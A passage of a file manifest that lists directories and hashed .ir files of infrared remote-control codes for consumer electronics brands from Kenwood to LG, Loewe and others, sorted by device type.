+F:35af623ed189d429b7d2cb2d5b690262:3387:infrared/_CSV-IRDB_/Kenwood/DVD Changer/182,0.ir +F:d8c55598d6925f57cae7627046f8f243:15278:infrared/_CSV-IRDB_/Kenwood/DVD Changer/182,12.ir +F:35af623ed189d429b7d2cb2d5b690262:3387:infrared/_CSV-IRDB_/Kenwood/DVD Player/182,0.ir +F:f5041bdaaeefb6369363bac51499494e:15648:infrared/_CSV-IRDB_/Kenwood/DVD Player/182,12.ir +F:566922e49a55e728d665b8df118464a0:3670:infrared/_CSV-IRDB_/Kenwood/DVD Player/182,88.ir +F:e32202dac9da6cc07be52dce76e42109:130:infrared/_CSV-IRDB_/Kenwood/DVD Player/184,0.ir +F:73822518e461ec11d24e1d56d40c7330:4709:infrared/_CSV-IRDB_/Kenwood/Laser Disc/182,75.ir +F:c7ffbc1c53051b562a7d3bf9822fc853:519:infrared/_CSV-IRDB_/Kenwood/Pre-Amplifier/182,75.ir +F:8c51702213a701947de6a0bc090b5a13:8486:infrared/_CSV-IRDB_/Kenwood/Pre-Amplifier/184,-1.ir +F:baaf0248bdb600336d687510c4ff7401:1650:infrared/_CSV-IRDB_/Kenwood/Pre-Amplifier/184,1.ir +F:216ac578b89776e1c9e9033d2cebc910:3763:infrared/_CSV-IRDB_/Kenwood/Receiver/1,-1.ir +F:1d3c2973be4240ed040cc7db288e6f09:1973:infrared/_CSV-IRDB_/Kenwood/Receiver/12,-1.ir +F:7b376513a0e9ca33c95b6464dd5285f3:1997:infrared/_CSV-IRDB_/Kenwood/Receiver/182,75.ir +F:0cb05a2c83f8f9809b5ee91c71c90f69:29014:infrared/_CSV-IRDB_/Kenwood/Receiver/184,-1.ir +F:24bda57192ee2201d86e08ddf785416e:8942:infrared/_CSV-IRDB_/Kenwood/Receiver/184,0.ir +F:6be26614190e4e2752e87b83ab27ffdb:5820:infrared/_CSV-IRDB_/Kenwood/Receiver/184,1.ir +F:9edc8c89df2288b0a1b1517f0d657353:2779:infrared/_CSV-IRDB_/Kenwood/Receiver/184,2.ir +F:f94576738b7cd49c274a51283dbd3dfc:3643:infrared/_CSV-IRDB_/Kenwood/Receiver/184,3.ir +F:59427eda36bdc81b758d2a53a0659ae9:1784:infrared/_CSV-IRDB_/Kenwood/Receiver/184,4.ir +F:ae6808d64117c6568f72af0cfe768726:403:infrared/_CSV-IRDB_/Kenwood/Receiver/184,5.ir +F:6ad9d706003fb65bc4d499626cc5ceb4:1676:infrared/_CSV-IRDB_/Kenwood/Receiver/184,6.ir +F:6ed4c1a56e732e07a394170875dcf6fb:1331:infrared/_CSV-IRDB_/Kenwood/Receiver/184,7.ir +F:40cf0a51c83da79ef52b35f42fa9f82d:2130:infrared/_CSV-IRDB_/Kenwood/Receiver/25,-1.ir +F:edbc9074edcefb028ec3c4319811de21:2110:infrared/_CSV-IRDB_/Kenwood/Receiver/4,-1.ir +F:6ee5e8f3f1bec9d57e382aa8fe0e8604:3938:infrared/_CSV-IRDB_/Kenwood/Receiver/40,-1.ir +F:28d0651c0f015b1febbabb39fea33860:4369:infrared/_CSV-IRDB_/Kenwood/Satellite Radio/2,255.ir +F:9fa1ffe88b795d6b75fdd19a65171f9e:2699:infrared/_CSV-IRDB_/Kenwood/Sirius/2,255.ir +F:c7ffbc1c53051b562a7d3bf9822fc853:519:infrared/_CSV-IRDB_/Kenwood/Tuner/182,75.ir +F:45f334f081d45e2da7919595a5c9364f:7438:infrared/_CSV-IRDB_/Kenwood/Tuner/184,-1.ir +F:3508ded5b755b9f666e53e8eddaf0848:1033:infrared/_CSV-IRDB_/Kenwood/Tuner/184,1.ir +F:8c5d5bca8348b7b130f0f6fcb8daeb0e:4955:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-160/184,-1.ir +F:998a2a903eebd8bd62eeb5067187bc7d:3086:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-A0400/184,-1.ir +F:7204655feeef615c31cc0b070387ed18:3640:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-D0705.conf/182,12.ir +F:8eed3af8cd1766cf19913d07f8ee8d85:2987:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-M0301/182,4.ir +F:006a2859b5a0d60544e15a0a24676856:3488:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-M0701/182,4.ir +F:3dfad98d2f0cacc19481bc482b8f4b4a:2678:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P030/182,-1.ir +F:61cbfa4216dfbc7b8bb7be7244e67ffd:2302:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P0400/182,-1.ir +F:8a875452fa069c4d98f8eda010bd1e3c:4572:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P070/182,-1.ir +F:515514d613877b3fb1e66758898477b5:2997:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P0702/182,-1.ir +F:e97ab9fe07ed1d727c68c5a6b51b6860:2493:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P0715/182,-1.ir +F:90b5c51c2a9048579f13ece231f0bccc:2306:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P2030/182,-1.ir +F:3ce99c776c5d20558abaed34ff44eff3:1910:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P600/182,-1.ir +F:ad03b7e82f5f622c4551e6df142e7372:4482:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-R0311E/44,44.ir +F:a58ae981b96f6a499063c627961f8795:2734:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-RO503/184,-1.ir +F:b7a114a728c277c078306e2cb155b641:903:infrared/_CSV-IRDB_/Kenwood/Unknown_rc-p800/182,-1.ir +F:2dac9585e1784a7ce8777fa11804d851:1534:infrared/_CSV-IRDB_/Kenwood/Unknown_rc-p87/182,-1.ir +F:48cfa9f28aab4a40d0c38ebb849e8102:3702:infrared/_CSV-IRDB_/Kenwood/VCR/184,-1.ir +F:a9690d82db7fe19c0a3564bb60549cbc:525:infrared/_CSV-IRDB_/Kenwood/VCR/184,1.ir +D:infrared/_CSV-IRDB_/Khl/Unknown_REC-R3000 +F:f3d29ac31160c40e2ffa498266eab274:2375:infrared/_CSV-IRDB_/Khl/Unknown_REC-R3000/65,-1.ir +D:infrared/_CSV-IRDB_/Kinergetics Research/Pre-Amplifier +D:infrared/_CSV-IRDB_/Kinergetics Research/Receiver +D:infrared/_CSV-IRDB_/Kinergetics Research/Surround Processor +F:f9d9e67e8fdbaf139dee384cc845089a:3057:infrared/_CSV-IRDB_/Kinergetics Research/Pre-Amplifier/28,-1.ir +F:67806661a983947eb3221599f7d232ce:2533:infrared/_CSV-IRDB_/Kinergetics Research/Receiver/0,-1.ir +F:7f502874434a19d946398f2f54af4e28:1133:infrared/_CSV-IRDB_/Kinergetics Research/Surround Processor/7,-1.ir +D:infrared/_CSV-IRDB_/Kingbox/h265 +F:dd2ed522d48de993b7c0b2d8fe62f5a5:3558:infrared/_CSV-IRDB_/Kingbox/h265/1,254.ir +D:infrared/_CSV-IRDB_/Kiss/Unknown_DP-1500s +F:e2ae5c6fbf446407fa2156d6e4008e21:3634:infrared/_CSV-IRDB_/Kiss/Unknown_DP-1500s/25,-1.ir +D:infrared/_CSV-IRDB_/Klipsch/Subwoofer +F:e29afaea6208d92252f62499b95d65ef:1975:infrared/_CSV-IRDB_/Klipsch/Subwoofer/17,81.ir +D:infrared/_CSV-IRDB_/Knoll/Video Projector +F:cfb04d905267aa0fefdc5f24649c110d:1935:infrared/_CSV-IRDB_/Knoll/Video Projector/24,233.ir +D:infrared/_CSV-IRDB_/Konka/Unknown_KK-Y199 +D:infrared/_CSV-IRDB_/Konka/Unknown_KK-Y250A +F:c8381fe07ab6eb245838bc7035c1fe83:2303:infrared/_CSV-IRDB_/Konka/Unknown_KK-Y199/25,1.ir +F:1c472dfedc1a8d33b6f3696df46e3b6d:2397:infrared/_CSV-IRDB_/Konka/Unknown_KK-Y250A/25,1.ir +D:infrared/_CSV-IRDB_/Krell/CD Player +D:infrared/_CSV-IRDB_/Krell/DVD Player +D:infrared/_CSV-IRDB_/Krell/Pre-Amplifier +D:infrared/_CSV-IRDB_/Krell/Receiver +D:infrared/_CSV-IRDB_/Krell/Surround Processor +F:21a2ec5f3bc6ad95f3467a7ff1c426a5:651:infrared/_CSV-IRDB_/Krell/CD Player/16,-1.ir +F:3508885e1ba74cb72b71266a4fbfef1f:127:infrared/_CSV-IRDB_/Krell/CD Player/20,-1.ir +F:aec597fe8706f7c283f66333ec295deb:7610:infrared/_CSV-IRDB_/Krell/DVD Player/27,-1.ir +F:dd6d03d59e5e468583c13d9e1ffc22d1:1858:infrared/_CSV-IRDB_/Krell/Pre-Amplifier/16,-1.ir +F:e4badcff361e4090ab353270e0b540cf:2254:infrared/_CSV-IRDB_/Krell/Pre-Amplifier/25,-1.ir +F:d7029579750655d9d54901b8771cac90:1611:infrared/_CSV-IRDB_/Krell/Pre-Amplifier/28,-1.ir +F:19469055d0c1fd69e063c6d0be90bb9b:129:infrared/_CSV-IRDB_/Krell/Receiver/28,-1.ir +F:cab320ff43d3ebcb449b493486053ce0:138:infrared/_CSV-IRDB_/Krell/Receiver/31,-1.ir +F:ae86b539556f60e0cfdf33716aa2d364:317:infrared/_CSV-IRDB_/Krell/Surround Processor/16,-1.ir +F:0276e8b852111a39e1de160239eca327:1487:infrared/_CSV-IRDB_/Krell/Surround Processor/25,-1.ir +F:28dbca865c17c2c76af716e9cf2b76d7:3433:infrared/_CSV-IRDB_/Krell/Surround Processor/28,-1.ir +F:cab320ff43d3ebcb449b493486053ce0:138:infrared/_CSV-IRDB_/Krell/Surround Processor/31,-1.ir +D:infrared/_CSV-IRDB_/Kworld/Unknown_ATSC +D:infrared/_CSV-IRDB_/Kworld/Unknown_DVB-T +D:infrared/_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-220 +D:infrared/_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-PE310 +D:infrared/_CSV-IRDB_/Kworld/Unknown_VS-PRV-TV +F:b5a89ce81094aee0e2ef40becf53faa8:4311:infrared/_CSV-IRDB_/Kworld/Unknown_ATSC/0,251.ir +F:61543ebb70669c7c1879cf03e4aaf6e4:6779:infrared/_CSV-IRDB_/Kworld/Unknown_DVB-T/134,107.ir +F:5fe818cf71863e8d5076020a1806254d:3916:infrared/_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-220/0,251.ir +F:5fe818cf71863e8d5076020a1806254d:3916:infrared/_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-PE310/0,251.ir +F:b82cb926ff813d7729ffd420167ba312:4212:infrared/_CSV-IRDB_/Kworld/Unknown_VS-PRV-TV/134,107.ir +D:infrared/_CSV-IRDB_/Kyocera/CD Player +F:0c183396f0d1cc36af5c1c4b9e442d64:1159:infrared/_CSV-IRDB_/Kyocera/CD Player/119,-1.ir +D:infrared/_CSV-IRDB_/L+S/Unknown_30755 +D:infrared/_CSV-IRDB_/L+S/Unknown_LS +F:d15442735f8a94a0cdb20b601e420776:3363:infrared/_CSV-IRDB_/L+S/Unknown_30755/5,-1.ir +F:3f7790ae3913ca7f2ddf6edec2cb269e:1377:infrared/_CSV-IRDB_/L+S/Unknown_LS/164,164.ir +D:infrared/_CSV-IRDB_/LEMON/Unknown_LEMON +F:17b73150f050be4a1cf9c3cc855247ad:3124:infrared/_CSV-IRDB_/LEMON/Unknown_LEMON/7,-1.ir +D:infrared/_CSV-IRDB_/LG/Blu-Ray +D:infrared/_CSV-IRDB_/LG/DVD Player +D:infrared/_CSV-IRDB_/LG/DVR +D:infrared/_CSV-IRDB_/LG/HDTV Tuner +D:infrared/_CSV-IRDB_/LG/Plasma +D:infrared/_CSV-IRDB_/LG/Satellite +D:infrared/_CSV-IRDB_/LG/Sound Bar +D:infrared/_CSV-IRDB_/LG/TV +D:infrared/_CSV-IRDB_/LG/Unknown_42H3000 +D:infrared/_CSV-IRDB_/LG/Unknown_6710CDAP01B +D:infrared/_CSV-IRDB_/LG/Unknown_6710T00009B +D:infrared/_CSV-IRDB_/LG/Unknown_6710V00067G +D:infrared/_CSV-IRDB_/LG/Unknown_6710V00070A +D:infrared/_CSV-IRDB_/LG/Unknown_6710V00090D +D:infrared/_CSV-IRDB_/LG/Unknown_6710V00090N +D:infrared/_CSV-IRDB_/LG/Unknown_6710V00091N +D:infrared/_CSV-IRDB_/LG/Unknown_6710V00133A +D:infrared/_CSV-IRDB_/LG/Unknown_AKB69680403 +D:infrared/_CSV-IRDB_/LG/Unknown_AKB72915207 +D:infrared/_CSV-IRDB_/LG/Unknown_AKB73715601 +D:infrared/_CSV-IRDB_/LG/Unknown_BC205P +D:infrared/_CSV-IRDB_/LG/Unknown_BD300 +D:infrared/_CSV-IRDB_/LG/Unknown_CC470TW +D:infrared/_CSV-IRDB_/LG/Unknown_LG +D:infrared/_CSV-IRDB_/LG/Unknown_LG-AKB69680403 +D:infrared/_CSV-IRDB_/LG/Unknown_LG-EV230 +D:infrared/_CSV-IRDB_/LG/Unknown_LG.6710V00005G +D:infrared/_CSV-IRDB_/LG/Unknown_LG.6710V00008K +D:infrared/_CSV-IRDB_/LG/Unknown_MKJ40653807 +D:infrared/_CSV-IRDB_/LG/Unknown_MKJ61842704 +D:infrared/_CSV-IRDB_/LG/Unknown_PBAFA0189A +F:a6e38485bd2569f57e924e437850cab2:8546:infrared/_CSV-IRDB_/LG/Blu-Ray/45,45.ir +F:c9dfd3f120c8032a89e1d6d4e808ee7c:230:infrared/_CSV-IRDB_/LG/DVD Player/16,16.ir +F:8ce46f717b32e04926db5e7ba9c24692:131:infrared/_CSV-IRDB_/LG/DVD Player/44,44.ir +F:1e6936ec38a5cdaa21bbeca4efb071a1:8234:infrared/_CSV-IRDB_/LG/DVD Player/45,45.ir +F:778284f334526e990b26a4e4ea4e1fe9:4844:infrared/_CSV-IRDB_/LG/DVR/45,45.ir +F:13784bbb2f49d28746378266ef1fc5d5:1450:infrared/_CSV-IRDB_/LG/HDTV Tuner/247,-1.ir +F:3f4fa81b82745646dfa0e3f2a2e89af1:222:infrared/_CSV-IRDB_/LG/Plasma/1,1.ir +F:2fb550a9facef200346a6b782223c3ea:8826:infrared/_CSV-IRDB_/LG/Plasma/4,-1.ir +F:5a6ead70d333a08514b52cc3170fc53e:2812:infrared/_CSV-IRDB_/LG/Satellite/247,-1.ir +F:237179347440e12374e607071d6cc0df:2852:infrared/_CSV-IRDB_/LG/Sound Bar/44,44.ir +F:3f4fa81b82745646dfa0e3f2a2e89af1:222:infrared/_CSV-IRDB_/LG/TV/1,1.ir +F:aca5d122e37ea12742c8499e42309148:27551:infrared/_CSV-IRDB_/LG/TV/4,-1.ir +F:a9b0296b1ed2de3cd23057f143a5cd72:3916:infrared/_CSV-IRDB_/LG/Unknown_42H3000/4,-1.ir +F:bee77e9407e714e94ecb554946f41968:4793:infrared/_CSV-IRDB_/LG/Unknown_6710CDAP01B/44,44.ir +F:2a3f8e44684e0f70e6e59bed895f3d44:3893:infrared/_CSV-IRDB_/LG/Unknown_6710T00009B/4,-1.ir +F:90a82da1fa5dbe711333db84472b1706:3733:infrared/_CSV-IRDB_/LG/Unknown_6710V00067G/0,-1.ir +F:ecb6c59b0dc6645bd7ddaead5153c3ae:3232:infrared/_CSV-IRDB_/LG/Unknown_6710V00070A/0,-1.ir +F:2eb7836eb62d5d057499c6f6f8c77b71:2460:infrared/_CSV-IRDB_/LG/Unknown_6710V00090D/0,-1.ir +F:c1e3ee0fd72ebc533931bca7bbcec697:2759:infrared/_CSV-IRDB_/LG/Unknown_6710V00090N/4,-1.ir +F:8bf867ad1a18bdeb61a748f524b62aca:2738:infrared/_CSV-IRDB_/LG/Unknown_6710V00091N/4,-1.ir +F:642ba42d9b085f33c626b34d7bddd802:1265:infrared/_CSV-IRDB_/LG/Unknown_6710V00133A/4,-1.ir +F:7076eca0928a2de0cfb883671d3f7762:3927:infrared/_CSV-IRDB_/LG/Unknown_AKB69680403/4,-1.ir +F:33862b28b2abb49afdc990c3cd2380dd:4578:infrared/_CSV-IRDB_/LG/Unknown_AKB72915207/4,-1.ir +F:d60e39b75ce2e96c1cb119b53f1f10db:4610:infrared/_CSV-IRDB_/LG/Unknown_AKB73715601/4,-1.ir +F:3971a690fe0940264b4690447080d24a:3044:infrared/_CSV-IRDB_/LG/Unknown_BC205P/110,-1.ir +F:9e539139a9433ba42069559b5ef2a73a:4798:infrared/_CSV-IRDB_/LG/Unknown_BD300/45,45.ir +F:4b4ded02bcdddff2b93c52e330f66aab:3048:infrared/_CSV-IRDB_/LG/Unknown_CC470TW/110,-1.ir +F:17411a1645f72523540c480776ab27c9:1286:infrared/_CSV-IRDB_/LG/Unknown_LG/110,-1.ir +F:65d8e60bf6d0e2f12d00d478b7452b07:3915:infrared/_CSV-IRDB_/LG/Unknown_LG-AKB69680403/4,-1.ir +F:3c967e9b0fe26a55c11a8a921e743fe1:2673:infrared/_CSV-IRDB_/LG/Unknown_LG-EV230/110,-1.ir +F:f432f4b10845396d5291a6816336cc97:3448:infrared/_CSV-IRDB_/LG/Unknown_LG.6710V00005G/110,-1.ir +F:a749f46f663effef1c1109e695be2641:2684:infrared/_CSV-IRDB_/LG/Unknown_LG.6710V00008K/4,-1.ir +F:4848c5f1ea29a1e472112c92cf4534af:4116:infrared/_CSV-IRDB_/LG/Unknown_MKJ40653807/4,-1.ir +F:b254756d9903acacebe70fb62d224260:4084:infrared/_CSV-IRDB_/LG/Unknown_MKJ61842704/4,-1.ir +F:b984b2d25ed4d107eebd968913177214:3504:infrared/_CSV-IRDB_/LG/Unknown_PBAFA0189A/110,-1.ir +D:infrared/_CSV-IRDB_/LP Morgan/Screen +F:33985b6e0e8fe00c88fa1437883abbc8:620:infrared/_CSV-IRDB_/LP Morgan/Screen/0,-1.ir +D:infrared/_CSV-IRDB_/LXI/TV +F:9b17b995a9b4ef7c526c793e1f285d90:2841:infrared/_CSV-IRDB_/LXI/TV/4,-1.ir +D:infrared/_CSV-IRDB_/Lacie/Unknown_Lacie +D:infrared/_CSV-IRDB_/Lacie/Unknown_PNE-N1SS +F:1f5143c34dd4ea4d7d696e0373d61715:4209:infrared/_CSV-IRDB_/Lacie/Unknown_Lacie/64,64.ir +F:0c8d0785c2e8f31e9bfdec6314d45985:1681:infrared/_CSV-IRDB_/Lacie/Unknown_PNE-N1SS/0,127.ir +D:infrared/_CSV-IRDB_/Lasonic/Unknown_LasonicR2000 +F:54b3e34fc86c2e05e190eff42b716bb9:4416:infrared/_CSV-IRDB_/Lasonic/Unknown_LasonicR2000/16,-1.ir +D:infrared/_CSV-IRDB_/LeadTek/Unknown_RM-0007 +D:infrared/_CSV-IRDB_/LeadTek/Unknown_Y0400046 +D:infrared/_CSV-IRDB_/LeadTek/Unknown_Y0400052 +D:infrared/_CSV-IRDB_/LeadTek/Unknown_Y04G0004 +F:d0fd8e962e5f817bdf1757201e14a08e:3060:infrared/_CSV-IRDB_/LeadTek/Unknown_RM-0007/3,-1.ir +F:7a1a976c0b8a860b6a07cbb7a7706069:3905:infrared/_CSV-IRDB_/LeadTek/Unknown_Y0400046/3,-1.ir +F:506cc664a4e8fdf095f298d4114cee6b:5335:infrared/_CSV-IRDB_/LeadTek/Unknown_Y0400052/3,-1.ir +F:1457845f738d76e92608952aed0118eb:4681:infrared/_CSV-IRDB_/LeadTek/Unknown_Y04G0004/3,-1.ir +D:infrared/_CSV-IRDB_/Leadership/Unknown_GOTEC +F:cd0a5bff2fa3e4f178482f0693ea9ba9:4687:infrared/_CSV-IRDB_/Leadership/Unknown_GOTEC/0,-1.ir +D:infrared/_CSV-IRDB_/Lenovo/Unknown_Y530 +F:f70ebce3264d436ad4bc496b74bc16b0:2546:infrared/_CSV-IRDB_/Lenovo/Unknown_Y530/4,69.ir +D:infrared/_CSV-IRDB_/Lexicon/DVD Player +D:infrared/_CSV-IRDB_/Lexicon/Receiver +D:infrared/_CSV-IRDB_/Lexicon/Surround Processor +F:82048fd48b14fa4102d3fad31d27bcae:2780:infrared/_CSV-IRDB_/Lexicon/DVD Player/4,-1.ir +F:05fb0832fce494beeeadb573e2366d1c:3591:infrared/_CSV-IRDB_/Lexicon/Receiver/130,11.ir +F:61b15a8395bb391c37c48a071b6ec6f9:26729:infrared/_CSV-IRDB_/Lexicon/Surround Processor/130,11.ir +F:935b3956270fc1044e6613fd2e3da8f6:12821:infrared/_CSV-IRDB_/Lexicon/Surround Processor/133,2.ir +F:5ac8443ffe6a107462fab098dd12682f:7544:infrared/_CSV-IRDB_/Lexicon/Surround Processor/28,-1.ir +D:infrared/_CSV-IRDB_/Life-view/Unknown_3000 +D:infrared/_CSV-IRDB_/Life-view/Unknown_flyvideo +F:4bbc6f6be6033d94df219550a5f8cdb8:2314:infrared/_CSV-IRDB_/Life-view/Unknown_3000/96,1.ir +F:63ca1c87d2fe5a2ac9d1a2a79368c811:3819:infrared/_CSV-IRDB_/Life-view/Unknown_flyvideo/96,1.ir +D:infrared/_CSV-IRDB_/Lifesat/Unknown_28 +F:24c452e1ea72296f5683d8ebc674f434:2094:infrared/_CSV-IRDB_/Lifesat/Unknown_28/128,38.ir +D:infrared/_CSV-IRDB_/Lifetec/Unknown_LT9096 +D:infrared/_CSV-IRDB_/Lifetec/Unknown_RC2000 +D:infrared/_CSV-IRDB_/Lifetec/Unknown_remote +F:84459c6bd5e09c0551fad0c3188c676c:3185:infrared/_CSV-IRDB_/Lifetec/Unknown_LT9096/128,123.ir +F:4585f9ff0e6ff644dd04f94f00f4990e:2949:infrared/_CSV-IRDB_/Lifetec/Unknown_RC2000/5,-1.ir +F:da53a81675dd40bde1a686976bd1537d:819:infrared/_CSV-IRDB_/Lifetec/Unknown_remote/164,164.ir +D:infrared/_CSV-IRDB_/Lightolier/Lighting Controller +F:1c3f90027199cf718ed15e555a26e39c:505:infrared/_CSV-IRDB_/Lightolier/Lighting Controller/0,-1.ir +D:infrared/_CSV-IRDB_/Linksys/Media Adapter +D:infrared/_CSV-IRDB_/Linksys/Unknown_WMA11B-R +F:5ee39bfbbc61fc6e838640469030141c:135:infrared/_CSV-IRDB_/Linksys/Media Adapter/134,107.ir +F:f4b54f3adb128d42fc5fdff803292425:2160:infrared/_CSV-IRDB_/Linksys/Unknown_WMA11B-R/134,107.ir +D:infrared/_CSV-IRDB_/Linn/CD Player +D:infrared/_CSV-IRDB_/Linn/Classic music +D:infrared/_CSV-IRDB_/Linn/Surround Processor +F:76ce892f373bb17e8fc3792466bd8c45:2047:infrared/_CSV-IRDB_/Linn/CD Player/20,-1.ir +F:940ffa804485d84c00c3f7d597b1590b:1869:infrared/_CSV-IRDB_/Linn/Classic music/16,-1.ir +F:99bebf2011ba6c1b614d6dfcafde2332:869:infrared/_CSV-IRDB_/Linn/Classic music/17,-1.ir +F:67546746b8d93e7937c89d3d490fed4f:2415:infrared/_CSV-IRDB_/Linn/Classic music/20,-1.ir +F:6bd3b4aa55bcd7fa0ecd32a76db15ccc:3108:infrared/_CSV-IRDB_/Linn/Surround Processor/16,-1.ir +F:cd3a1be64272bd59c06315fc6e11a800:1702:infrared/_CSV-IRDB_/Linn/Surround Processor/23,-1.ir +F:4cffbefbc68a32fe747f4ffed03d65de:232:infrared/_CSV-IRDB_/Linn/Surround Processor/4,-1.ir +D:infrared/_CSV-IRDB_/LiteOn/DVD Recorder +F:4b7866542253f8753723f4ebe5ca2832:3375:infrared/_CSV-IRDB_/LiteOn/DVD Recorder/10,247.ir +D:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller +F:3aab240a7e2cbd99d4f8acf595663ee1:831:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/129,-1.ir +F:e0f3965d060924a2bb3752fa93595047:831:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/130,-1.ir +F:1ca8bf94b950923a2761434bb88d297a:831:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/131,-1.ir +F:9ee23a05d5b34b8ec3658e692121c16b:831:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/132,-1.ir +F:fc5f8fbe9d413e2402e955ca4aa82340:831:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/133,-1.ir +F:cdf5e9d2521c9c4068c6eeab17e72667:831:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/134,-1.ir +F:646b0dd1b06f07a030a56a99ed5157a6:831:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/135,-1.ir +F:99a4824a21298a77092a0dc6984a82d1:831:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/136,-1.ir +F:6481bd81da3e13283df54c17f63f96e5:831:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/137,-1.ir +F:d2fc4ca8611c2e117515810fdf9c971d:831:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/144,-1.ir +F:cd98c114c0a5aaa5201d1ded6daa5a12:831:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/145,-1.ir +F:396fc4fdcd88cd3ccb62e69053d8bb95:831:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/146,-1.ir +F:7404b8ca699368c3ef1476ab231724bc:831:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/147,-1.ir +F:8acc2a41c91ee3e537eeb8f0769902ea:831:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/148,-1.ir +F:1678608bc34d06d5c3c28c5ff9511811:831:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/149,-1.ir +F:85c68e7d1fdf4466e9f86b0b1fc037e5:831:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/150,-1.ir +F:c81dc1ce6a686965d1180b214a89ed84:831:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/151,-1.ir +F:72385f486d03c0d3972e8c5f0f11be60:831:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/152,-1.ir +F:e4db23a0a6798d9939e2772c050dc934:831:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/153,-1.ir +F:fc36d29a4a88e24b2c1c7293c29e423f:831:infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/255,-1.ir +D:infrared/_CSV-IRDB_/Loewe/DVD Player +D:infrared/_CSV-IRDB_/Loewe/TV +D:infrared/_CSV-IRDB_/Loewe/Unknown_8500H +D:infrared/_CSV-IRDB_/Loewe/Unknown_control +D:infrared/_CSV-IRDB_/Loewe/VCR +F:51b040d73c5cd57b95437abb1ffc3f8b:320:infrared/_CSV-IRDB_/Loewe/DVD Player/0,-1.ir +F:9560c58209e4370c9c5eb6106a048bf0:6075:infrared/_CSV-IRDB_/Loewe/DVD Player/32,-1.ir +F:f3edc693cb58979024d5c1ad12bf4707:136:infrared/_CSV-IRDB_/Loewe/DVD Player/33,-1.ir +F:530e9c2286d6e830cf0d9965f6fa99e7:2879:infrared/_CSV-IRDB_/Loewe/DVD Player/4,-1.ir +F:10d8ec8760157973071f64b3ebd2bac6:3752:infrared/_CSV-IRDB_/Loewe/DVD Player/45,45.ir +F:f08d18b1ce32c8f03c9b3bcb5b939009:15192:infrared/_CSV-IRDB_/Loewe/TV/0,-1.ir +F:dd12b7d0a7da399b0d8535474efec919:340:infrared/_CSV-IRDB_/Loewe/TV/27,-1.ir +F:9181579d7e5307a22ae66d4ea65ab944:126:infrared/_CSV-IRDB_/Loewe/TV/31,-1.ir +F:f3edc693cb58979024d5c1ad12bf4707:136:infrared/_CSV-IRDB_/Loewe/TV/33,-1.ir +F:e0b15680edfb4fef287acae571d796c9:671:infrared/_CSV-IRDB_/Loewe/TV/5,-1.ir +F:76f38cef7d3e9282d10e5ba34a148893:1625:infrared/_CSV-IRDB_/Loewe/TV/6,-1.ir +F:3d7863938ed05ad407ca6e6376e9eb46:3109:infrared/_CSV-IRDB_/Loewe/Unknown_8500H/110,-1.ir +F:9c81143eed35da8531994ac9f5b60564:4122:infrared/_CSV-IRDB_/Loewe/Unknown_control/0,-1.ir +F:6bbb00238e5994062f876ea968b2794f:1829:infrared/_CSV-IRDB_/Loewe/VCR/144,0.ir +F:befc3938fe043ef2c0ca71cb3f8f674d:987:infrared/_CSV-IRDB_/Loewe/VCR/144,1.ir +F:af5c1cfdd1b244cbe68f00995a5d42b9:2649:infrared/_CSV-IRDB_/Loewe/VCR/5,-1.ir +D:infrared/_CSV-IRDB_/Logitech/Unknown_HarmonyOne +D:infrared/_CSV-IRDB_/Logitech/Unknown_z5500 +F:87c5b30e69d31fdb1b92abaf94ea05e5:3663:infrared/_CSV-IRDB_/Logitech/Unknown_HarmonyOne/30,-1.ir +F:5485138527d88398ea041d2c9f9e515e:1566:infrared/_CSV-IRDB_/Logitech/Unknown_z5500/8,-1.ir +D:infrared/_CSV-IRDB_/Lumagen/Scaler +F:1029985295be06b6d8c98562edaf03db:2298:infrared/_CSV-IRDB_/Lumagen/Scaler/2,-1.ir +D:infrared/_CSV-IRDB_/Luxman/CD Player +D:infrared/_CSV-IRDB_/Luxman/Receiver +F:56e58c31053e4fc31e11b04722d4dd88:2972:infrared/_CSV-IRDB_/Luxman/CD Player/204,-1.ir +F:1eb562a450007188b6a62f989267d04f:1935:infrared/_CSV-IRDB_/Luxman/Receiver/204,-1.ir +D:infrared/_CSV-IRDB_/Luxor/Unknown_DV405 +F:0c0510d4171d4784e033099d7ac5c042:3620:infrared/_CSV-IRDB_/Luxor/Unknown_DV405/67,71.ir +D:infrared/_CSV-IRDB_/M3 Electronic/Unknown_DVD-209 +F:07d4ba9961502b65e478da6b8c083877:2869:infrared/_CSV-IRDB_/M3 Electronic/Unknown_DVD-209/0,-1.ir +D:infrared/_CSV-IRDB_/MAGIC LIGHTING/Lighting +F:e72465dc5912e2a6924a6ccf073ac43f:2195:infrared/_CSV-IRDB_/MAGIC 